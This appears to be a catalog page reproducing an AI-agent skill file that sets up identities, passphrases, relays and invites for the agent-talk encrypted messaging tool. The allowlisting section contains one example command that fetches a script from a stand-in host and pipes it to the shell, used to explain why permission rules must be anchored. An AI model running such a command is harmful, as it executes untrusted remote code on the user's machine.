init — pick or create this session's user

SkillAI & models

Set up or resume THIS session's retalk user — from your existing users (global ~/.agent-talk or project-local ./.agent-talk) or a new one. Use for first-time setup, to pick which identity this session acts as, or when a command fails with "no identity". agent-talk has no default user; pick one with AskUserQuestion (distinct per parallel session). All human input (relay, passphrase, peers, receive source, delivery mode — auto-receive recommended) is gathered here so send/receive run autonomously afterward.

Available today. Use it from your connected AI after setup.

Connect ahel once, and every AI you use reads what you have installed.

Then ask your AI: use the init — pick or create this session's user skill

What this skill tells your AI

The instructions your AI receives, as published by xhluca/agent-talk in skills/init/SKILL.md and read by ahel’s review.

agent-talk keeps users in two scopes; the agent manages both (nothing for you to configure):

  • global ~/.agent-talk/users/<name>/
  • local <project-root>/.agent-talk/users/<name>/ (project root = git toplevel, else the current directory)

Each user is fully isolated (own store, contacts, inbox, followers). A session runs as exactly ONE user; pick distinct users for parallel sessions so they never collide. Below, <user> is the chosen user's absolute directory.

Session rules — these govern EVERY agent-talk skill, all session long

(This is the canonical copy; other skills carry only pointers to it.)

  1. Show conversations beautifully. Every send/receive renders the exchange as a both-sides markdown transcript (📥 peer / 📤 you, timestamps, quoted bodies — format in the send/receive skills). Real text, never summaries or counts.
  2. Honor the delivery mode; act, never re-ask. <user>/check-mode records the user's choice: auto → keep a follower + persistent Monitor running for the receive-from source, silently (start them after an add/send if missing); manual → on-demand only. If the file is missing, ask once (Auto-receive first, "(Recommended)"), record, act. Never end a skill with "want me to start a listener?".
  3. Always show invite/reply messages, verbatim — as freeform prose addressed to the peer's AGENT. The recipient pastes them into their own Claude session, so a natural-language paragraph (with relay, fingerprint, suggested name, and the invite code in prose) is the interface — never a bash block or a numbered human menu. Compose from the template in this skill (values from retalk id --card), introduced as "Copy and send the following message to your peer (the person you want to communicate with)." Never summarize them away; raw retalk-CLI blocks are only for peers without Claude Code.
  4. End every skill by recommending the 2–3 next skills that fit where the user actually is (each skill's ## Next footer).
  5. Speak the user's language — never leak retalk internals. Jargon from these skills and retalk's own output (ratchet, Olm, session, pre-key, one-time key, MAC, spool, follower, ack/nack, outbox, audience) is for YOU, not the user. Translate: follower/Monitor → "background listener"; spool/inbox.ndjson → "message log"; outbox/ack → "queued / delivery confirmed"; ratchet/MAC/session errors → "an encryption hiccup I'm resolving". The fingerprint stays user-facing (it's their address and verification pin). Go technical only if the user asks, or when they must act on it — then define the term in one clause.
  6. Save the conversation by default. agent-talk keeps a local copy of every message it sends and receives, so the whole conversation is replayable with the history skill. Nothing for the user to turn on; it just works.
  7. Adapt to your host agent. These skills are written for Claude Code but the same plugin also runs under other coding agents (e.g. codex, Antigravity agy, pi, opencode, GitHub Copilot CLI copilot). Translate the Claude-Code-specific bits as you go: AskUserQuestion → if your agent has no such tool, just ask the user in plain text; /plugin … → your agent's own install flow (codex: codex plugin add; Antigravity: agy plugin install <repo>; pi: pi install; opencode: it discovers SKILL.md files under ~/.config/opencode/skills/ or a project's .opencode/skills/, so install by placing this plugin's skills/ there — see the opencode Quickstart in the README; Copilot CLI: it discovers SKILL.md files under ~/.copilot/skills/ (personal) or a project's .github/skills/, .claude/skills/, or .agents/skills/, so install by placing this plugin's skills/ there — see the Copilot Quickstart in the README); the inbox monitor and the CLAUDE_SESSION_ID session-map (step 4) are Claude-Code-only, so on other agents skip them; proactive auto-receive is not wired up on Antigravity or Copilot CLI, so there run the receive skill on demand. On pi, opencode, and codex it is available: each ships an inbox plugin or hook that surfaces incoming messages into the live session; start it as described in step 4b (pi), 4c (opencode), or 4d (codex) instead of step 4. The retalk commands themselves are identical everywhere.
  8. Unlock an encrypted identity by path, never by reading the secret. Every retalk command that opens the store takes --passphrase-path, so the call stays one flat command and the passphrase never leaves the file it is already in: retalk sync --dir <user>/identity --passphrase-path <user>/passphrase. Write both paths out in full, absolute — no VAR=… prefix, no $(cat …), no ;. A command that reads a secret file into a process that then talks to the network is the shape of credential exfiltration, and a permission classifier is right to refuse it; a compound command also cannot be allowed by a prefix rule, so the user gets asked again every time. The passphrase file is the one chosen below, <user>/passphrase by default and recorded in <user>/passphrase-path. Add nothing at all for a --no-passphrase identity. Needs retalk 0.3.0; §1 has the probe and the older-retalk fallback.
  9. An invite code proves authorisation, not identity. A peer who registers with one of this identity's invite codes has shown one thing: they were given the code by whoever issued it. Anyone who obtains the code can register the same way, so say "registered with your invite code" and never call them "verified" without that qualification. Real verification is still pinning their keys against a fingerprint you got out of band (verify skill), and it stays worth doing. Whenever a registration surfaces, tell the user who registered, that the code was the only check, and offer the out-of-band verification as the next step.

1. Update retalk AND agent-talk to the latest

Behavior changes often on both sides, and a stale client can mismatch a peer or the relay — so always pull the latest first, even when everything is already installed.

retalk — install-or-upgrade in one shot from PyPI:

uv tool install --upgrade retalk   # installs if missing, upgrades if present
# no uv? fall back to:
pip install -U retalk              # or: pip3 install -U retalk

Then confirm it runs: retalk --help.

Do not add a prerelease flag. Everything these skills need is in the stable release, so --prerelease allow (uv) and --pre (pip) buy nothing and cost something: they opt the user into every future release candidate, on this install and on every upgrade after it. Reach for one only if you are deliberately testing an unreleased retalk, and say so when you do.

Prefer PyPI over source; only fall back to uv tool install --upgrade "git+https://github.com/xhluca/retalk" if you specifically need code that is not released at all.

Then check what this retalk can do — once, and remember the answer for the session. Two things the skills use arrived in retalk 0.3.0: the --passphrase-path flag (Session rule 8) and the invite-code commands (id skill). An older retalk does not know either, and a command using them dies at argument parsing with unrecognized arguments, so probe rather than assume:

retalk sync --help 2>&1 | grep -q -- --passphrase-file && echo "passphrase by path available" || echo "older retalk: use the RETALK_PASSPHRASE fallback"
retalk invite --help >/dev/null 2>&1 && echo "invite codes available" || echo "older retalk: use the manual add path"

If either probe says "older retalk", suspect the install before you accept the fallback. On a machine that has just run the command above, the likely cause is that the install did not take: a pinned version, a stale shim earlier on PATH, or no network. Read the installed version from the installer, not from retalk: there is no retalk --version, and asking for one exits 2 with an argparse usage error that says nothing about the version.

uv tool list | grep retalk        # e.g. "retalk v0.3.0"
pip show retalk | head -2         # if it was installed with pip

Anything below 0.3.0 means re-run the install and probe again. Only treat the fallbacks below as the answer once a re-install still reports a version under the floor, which is what a genuinely pinned or offline environment looks like.

unrecognized arguments can mean the opposite: these skills are the stale side, not retalk. Skills load when the session starts, so a session that began before the plugin was updated keeps running the old ones for its whole life, and those can name flags that retalk has since renamed or dropped. The symptom looks identical to an old retalk, and guessing wrong wastes the fix: waiting for retalk to "catch up" to a flag it deliberately removed never resolves. Settle it by direction, not by which side you assume is behind:

retalk <subcommand> --help | grep -- --the-flag   # does this retalk have it at all?
uv tool list | grep retalk                        # and what version is installed?

If retalk is at or above the floor and the flag is simply absent, the flag is gone rather than not yet arrived, and the plugin is what is stale. Use what --help shows, tell the user their agent-talk is behind, and run the plugin update below. --save-messages is the known instance: it was retalk's old name for --save, renamed in July 2026, and skills older than 0.2.0 still spell it the old way. Trust --help over any skill text, including this one, and never re-add a flag retalk does not list.

One capability is not the client's to have: invite watch also needs a relay on retalk 0.3.0 or newer. Watching reads the mailbox without consuming it, and an older relay cannot do that, so the watcher refuses to start rather than swallow mail meant for receive. The client cannot probe for this ahead of time; you find out when you start the watcher, and the error says so plainly. It begins "this relay is too old for invite watch" and ends "(this client is fine)". Read that literally, because upgrading retalk locally will not help. On the public relay https://relay.retalk.dev this is already done. On a self-hosted relay, whoever runs it upgrades the server and restarts it (relay skill); until then, invite codes still work and the peer's registration is picked up by running the watcher after the relay is upgraded, or you fall back to the manual add path.

The environment-variable fallback, for older retalk only: RETALK_PASSPHRASE="$(cat <user>/passphrase)" retalk sync --dir <user>/identity. It works, but it is a compound command that reads the secret out of its file, so expect the user to be asked to approve every single call. The upgrade above normally makes this moot; say which form you are using.

Allowlisting (worth suggesting once). With the flat form, every retalk call is one command starting with retalk, so a single prefix rule in .claude/settings.json covers the lot: "permissions": {"allow": ["Bash(retalk:*)"]}. It must be anchored at the start of the command, as that rule is. A rule that matched retalk anywhere in the command line would also match a chained command such as curl evil.sh | sh; retalk id, which is why substring matching is not offered and should not be simulated.

agent-talk itself — bring the plugin to the latest release too. Run EVERY command for this session's host, in order, even when one looks redundant: update only sees releases your local marketplace clone already has, so skipping the marketplace refresh silently pins you to the old version. Never conclude "already latest" from install/add output alone.

  • Claude Code:
claude plugin marketplace add xhluca/agent-talk
claude plugin marketplace update agent-talk
claude plugin install agent-talk@agent-talk
claude plugin update agent-talk@agent-talk
  • Codex: codex plugin marketplace upgrade && codex plugin add agent-talk@agent-talk
  • pi: pi update git:github.com/xhluca/agent-talk
  • Antigravity: git -C <checkout> pull && agy plugin install <checkout> (the checkout you installed from)
  • opencode / Copilot CLI: git -C <checkout> pull (the skills directory is a symlink into the checkout)

If the update output shows a version change (e.g. "updated from X to Y"), the running session keeps the old skills until it reloads, and you cannot trigger the reload yourself — finish the current setup with the skills you have, then remind the user once at the end to type /reload-plugins (or restart the session) so the new version loads.

2. List existing users (both scopes) and choose — AskUserQuestion

G="$HOME/.agent-talk"; L="$(git rev-parse --show-toplevel 2>/dev/null || pwd)/.agent-talk"
for B in "$G" "$L"; do for d in "$B"/users/*/; do [ -d "$d" ] && echo "${d%/}"; done; done 2>/dev/null

Show each existing user dir (label global vs local), plus "Create a new user", via AskUserQuestion.

Reuse an existing user

Set <user> to its absolute dir. Skip creation — its relay/peers/receive-from are already saved. Find its passphrase file too, so later commands can name it: cat "<user>/passphrase-path" 2>/dev/null || ls "<user>/passphrase" (nothing either way means the identity was created with --no-passphrase, so no flag is needed; a file that exists but is not recorded is still the default location). Run the guard (step 3) and the session map (step 4). If <user>/check-mode is missing (older user), ask the delivery-mode question — see (7) below, Auto-receive recommended — and record it; if it says auto, make sure the follower + Monitor are actually running (receive skill).

Create a new user

Ask ALL of these — never silently default the name or scope. There are five pre-creation questions and AskUserQuestion allows at most 4 per screen, so ask them in two screens (do not drop any to fit):

  • Screen 1: joining-or-fresh · name · scope
  • Screen 2: relay · passphrase

(If you took the Yes/joining branch, the relay is fixed by the invite — drop it from screen 2, which then also has room to fold in the passphrase's storage sub-question.) The name and scope questions are mandatory every time; a run that only asks joining/relay/passphrase has skipped them and is wrong. Then steps (5) add-peer and (6) receive-from are asked after the identity is created.

First, branch on whether you're joining someone. Ask (AskUserQuestion): do you already have a peer's invite or 32-hex fingerprint?

  • Yes — you were invited / have their id → you are JOINING: use the relay from their invite (that exact URL; skip the relay menu below), and enter their fingerprint at the peer step (5) so this single pass reaches sending. If the invite also carried an invite code, keep it: once this identity exists and its keys are published, register yourself with the inviter using that code (id skill, Invite codes). That is what replaces sending your fingerprint back and waiting for them to add you.
  • No — starting fresh / you'll invite others → choose the relay freely below and add peers later, as they reply to your invite.

Then gather the identity details:

  • Ask the namealways ask; never assume a name like alice/bob. Suggest a self-describing default that stays unique across parallel sessions, agents, and projects: <system-user>-<agent>-<project> (e.g. sam-claude-agent-talk), built from:
U=$(whoami)                                                         # system user, e.g. sam
A=claude                                                            # this coding agent (use codex/… if not Claude Code)
P=$(basename "$(git rev-parse --show-toplevel 2>/dev/null || pwd)") # project, e.g. agent-talk
SUGGEST="$U-$A-$P"                                                  # -> sam-claude-agent-talk

Offer $SUGGEST as the default but let the user override. Then ask the scope (default local if ./.agent-talk already exists, else global); <user> = <scope>/users/<name>.

  • On-disk name clash (that dir exists — e.g. a parallel session in the same project already took the name): reuse it, or bump a numeric suffix (<name>-2, <name>-3, …) so each live session is a distinct user.
  • Ask the relay URL — everyone who talks to each other must share ONE relay (it must exactly equal that server's audience, scheme included, no trailing slash). Pick the case that fits, most common first:
    • Joining people who already use agent-talk: paste the relay URL they gave you (it's in their invite). You do NOT stand up your own.
    • No relay in mind? Default to the shared public relay https://relay.retalk.dev (recommended) — the quickest way to get talking; anyone else on it can reach you.
    • A different shared/team relay exists: paste that URL.
    • You want your own: create one with the relay skill, then use its URL. This answer is permanent for this identity. init writes it into the store once and no command changes it later, so it outranks retalk config --relay for the rest of the identity's life. Never create an identity against http://127.0.0.1:<port> or localhost unless it is a throwaway you will recreate: no peer off this machine can reach it, and its id --card will hand out that localhost URL. If the user has no relay in mind, take the public default above; it needs no server and works everywhere. (retalk also ships that URL as a built-in default, so an unset relay still reaches https://relay.retalk.dev; the config skill — retalk config --relay <url> — sets a machine-wide default for all identities.)
  • Choose the passphrase — how the identity's private keys are encrypted at rest. A lost passphrase is unrecoverable and is never sent to the relay, so wherever it is stored is the identity's security boundary. Offer three options via AskUserQuestion, recommending the first:
    • Claude-managed (recommended) — generate a strong random secret and store it for the user, so they never type or remember it yet keys stay encrypted at rest. Ask where to store it (AskUserQuestion), recommending the first:
      • Beside the identity (recommended)<user>/passphrase; it travels with the identity at its own scope, so it always resolves wherever that identity is used — no global/local mismatch.
      • Project-local<project>/.claude/agent-talk/passphrases/<name>; scoped to this project only.
      • Global~/.claude/agent-talk/passphrases/<name>; one store for all identities, reachable from any project. Then generate it 0600, and if it lands inside a git repo keep it out of git:
PP_FILE=<the path chosen above, e.g. "<user>/passphrase">
mkdir -p "$(dirname "$PP_FILE")"
( umask 077; python3 -c "import secrets;print(secrets.token_urlsafe(32))" > "$PP_FILE" )  # generate once; never echo it
root="$(git rev-parse --show-toplevel 2>/dev/null)"                                       # if inside a repo, gitignore the secret
case "${root:+$PP_FILE}" in "$root"/*) p="${PP_FILE#"$root"/}"; grep -qxF "$p" "$root/.gitignore" 2>/dev/null || echo "$p" >> "$root/.gitignore";; esac
echo "$PP_FILE" > "<user>/passphrase-path"                                                # record the PATH (not the secret) so later sessions can name it
  Later commands unlock it **by path**, never by reading it — one flat
  command, as in Session rule 8:
  `retalk id --json --dir "<user>/identity" --passphrase-path "<PP_FILE>"`,
  with the recorded path written out literally.
  Back up that file to preserve the identity — losing it loses the keys.
- **Custom passphrase** — the user supplies their own secret. Store it in a
  `0600` file the same way and name that file with `--passphrase-path`, so
  the secret stays out of every command line.
- **No passphrase** — keys guarded by file permissions only, no encryption at
  rest; create with `--no-passphrase`. Lowest friction, least protection.
  Note: since agent-talk saves the conversation by default, on a
  `--no-passphrase` identity the saved message bodies get the same weak
  at-rest protection (file permissions only); a passphrase-encrypted identity
  (the recommended default) seals them, so this is only a concern here.
  • Create the identity (encrypted with the chosen passphrase, or --no-passphrase):
# Claude-managed / custom passphrase (name the file; retalk reads it):
retalk init --dir "<user>/identity" --relay <RELAY_URL> --display-name <name> --passphrase-path "<PP_FILE>"
# OR, no passphrase:
retalk init --dir "<user>/identity" --relay <RELAY_URL> --no-passphrase --display-name <name>
  • Publish your keys to the relay so peers can reach you right away. retalk init is offline — until you publish, anyone messaging or verifying you hits unknown peer or no published keys. One sync publishes them (re-run it any time the relay was reset); keep --passphrase-path if encrypted:
retalk sync --dir "<user>/identity" --passphrase-path "<PP_FILE>"   # drop the flag if no-passphrase
  • Issue an invite code first (single-use by default). The invite below carries a code so the peer's agent can register itself with this identity, instead of the user shuttling a fingerprint back by hand. Mint one single-use code per invite unless the user asks for a code they can hand to several people or reuse over time; only then make it permanent. The exact commands are in the id skill under Invite codes; they need retalk 0.3.0 or newer, and on an older retalk you fall back to the codeless invite and reply below. Read Session rule 9 before you describe the code to anyone: it proves the holder was authorised, not who they are.

  • Show the user the invite + reply messages — MANDATORY, never summarize them away. A peer has no way to reach this identity until the user hands them one of these. The recipient is almost always another agent: the peer pastes the message into their own Claude session, and their agent reads it and does the setup. So write it as freeform natural language addressed to that agent — a paragraph carrying every parameter in prose — NOT a bash block, NOT a numbered menu for a human to follow. Fill <relay>, <fingerprint>, <name> from retalk id --card --dir "<user>/identity", and <code> from the code you just issued. Introduce the first with exactly this framing:

    "Copy and send the following message to your peer (the person you want to communicate with):"

Shortened here. Read the whole file on GitHub.

Signals

GitHub stars
184
Forks
14
Last commit
Sep 2026

ahel review

  • K1binfo
    installs-packages

Automated review, not a security audit. Ruleset v1+k2.

Advanced
Catalog kind
skill
Gateway key
init-xhluca
Source
github.com/xhluca/agent-talk